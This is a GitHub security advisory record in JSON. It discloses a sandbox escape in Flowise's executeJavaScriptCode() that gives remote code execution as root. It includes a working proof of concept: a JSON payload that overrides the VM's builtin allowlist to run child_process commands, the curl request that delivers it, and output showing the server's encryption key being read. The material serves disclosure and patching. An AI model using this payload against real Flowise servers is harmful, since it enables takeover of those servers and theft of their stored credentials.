{"id":"GHSA-3769-jgqc-cxm7","summary":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","details":"### Summary\nA sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the\n  default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.\n\n### Details\nThe vulnerability is in `packages/components/src/utils.ts` at line 1755:\n\n  ```typescript\n  const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }\n\n  The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:\n\n  async (code, sandbox, options = {}) =\u003e {\n      const { nodeVMOptions = {} } = options;\n      // ...\n      const defaultNodeVMOptions = {\n          require: {\n              builtin: builtinDeps,  // restricted allowlist — blocks child_process, fs, os, etc.\n              mock: secureWrappers\n          },\n          eval: false,\n          wasm: false\n      }\n      const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }  // ← VULN: caller overrides security settings\n      const vm = new NodeVM(finalNodeVMOptions)\n  }\n```\nThe spread operator allows any caller to override require.builtin with [\"*\"], which permits all Node.js built-in modules including child_process.\n\n\n**Taint 01: Route Registration**                                                                                                                                                                                                           \n  `packages/server/src/routes/node-custom-functions/index.ts` (line 8)                                                                                                                                                                       \n                                                                                                                                                                                                                                             \n  **Taint 02: Controller**                                                                                                                                                                                                                   \n  `executeCustomFunction()` passes `req.body` to service — `packages/server/src/controllers/nodes/index.ts` (line 90)                                                                                                                        \n                                                                                                                                                                                                                                             \n  **Taint 03: Service**\n  `executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` — `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)\n                                                                                                                                                                                                                                             \n  **Taint 04: Sandbox Entry**                                                                                                                                                                                                                \n  Code runs inside NodeVM via `executeJavaScriptCode()` — `packages/components/src/utils.ts` (line 1760)                                                                                                                                     \n                                                                                                                                                                                                                                             \n  **Taint 05: Escape**\n  Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself\n                                                                                                                                                                                                                                             \n  **Taint 06: Override**\n  The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: [\"*\"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }`                                    \n                                                                                                                                                                                                                                             \n  **Taint 07: RCE**                                                                                                                                                                                                                          \n  Inside the nested VM, `require(\"child_process\")` succeeds. Arbitrary commands execute as root.                                                                                                                                             \n\n\n\n\n\n### PoC\n  **Step 1: Start Flowise**                                                                                                                                                                                                                  \n                  \n  ```bash\n  docker run -d --name flowise-poc -p 3000:3000 \\\n    -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \\                                                                                                                                                                                         \n    flowiseai/flowise:latest                                                                                                                                                                                                                 \n                                                                                                                                                                                                                                             \n  # Wait ~30s for startup                                                                                                                                                                                                                    \n  curl http://localhost:3000/api/v1/version\n  # {\"version\":\"3.1.1\"}                                                                                                                                                                                                                      \n  ```             \n                                                                                                                                                                                                                                             \n  **Step 2: Obtain Bearer Token**\n\n  Register an account, then create an API key:                                                                                                                                                                                               \n   \n  ```bash                                                                                                                                                                                                                                    \n  # Register      \n  curl -s -X POST http://localhost:3000/api/v1/account/register \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"user\":{\"email\":\"attacker@test.com\",\"password\":\"Attack12345\",\"name\":\"Attacker\"}}'                                                                                                                                                   \n                                                                                                                                                                                                                                             \n  # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)                                                                                                                                                      \n  # Copy the key — this is the Bearer token used below.                                                                                                                                                                                      \n  ```                                                                                                                                                                                                                                        \n                  \n  **Step 3: Create Payload**                                                                                                                                                                                                                 \n                  \n  ```bash\n  cat \u003e exploit.json \u003c\u003c 'EOF'\n  {\n    \"javascriptFunction\": \"const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\\\"child_process\\\"); cp.execSync(\\\"id \u003e /tmp/RCE-PROOF.txt\\\");    \n  return cp.execSync(\\\"id\\\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\\\"*\\\"] } } })\"                                                                                          \n  }                                                                                                                                                                                                                                          \n  EOF                                                                                                                                                                                                                                        \n  ```             \n\n  **Step 4: Exploit**\n\n  ```bash\n  # Pre-check: file does not exist\n  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           \n  # ls: /tmp/RCE-PROOF.txt: No such file or directory                                                                                                                                                                                        \n                                                                                                                                                                                                                                             \n  # Execute                                                                                                                                                                                                                                  \n  curl -X POST http://localhost:3000/api/v1/node-custom-function \\\n    -H \"Content-Type: application/json\" \\                                                                                                                                                                                                    \n    -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n    -d @exploit.json                                                                                                                                                                                                                         \n  # \"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\\n\"                                                                                                                                                             \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           \n  # -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt                                                                                                                                                                            \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc cat /tmp/RCE-PROOF.txt                                                                                                                                                                                             \n  # uid=0(root) gid=0(root) groups=0(root)...                                                                                                                                                                                                \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc cat /root/.flowise/encryption.key\n  # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb                                                                                                                                                                                                         \n  ```                                                                                                                                                                                                                                        \n\u003cimg width=\"1919\" height=\"1033\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc\" /\u003e\n\n\n### Impact\nFull remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which  \n  decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent\n   access via cron jobs or reverse shells. All Flowise deployments running \u003e= 3.0.5 through 3.1.1 (latest) are affected.","aliases":["CVE-2026-69254"],"modified":"2026-08-04T15:56:02.787653Z","published":"2026-08-04T15:29:12Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-08-04T15:29:12Z","nvd_published_at":null,"cwe_ids":["CWE-94"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/pull/6306"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-3769-jgqc-cxm7/GHSA-3769-jgqc-cxm7.json"}},{"package":{"name":"flowise-components","ecosystem":"npm","purl":"pkg:npm/flowise-components"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-3769-jgqc-cxm7/GHSA-3769-jgqc-cxm7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}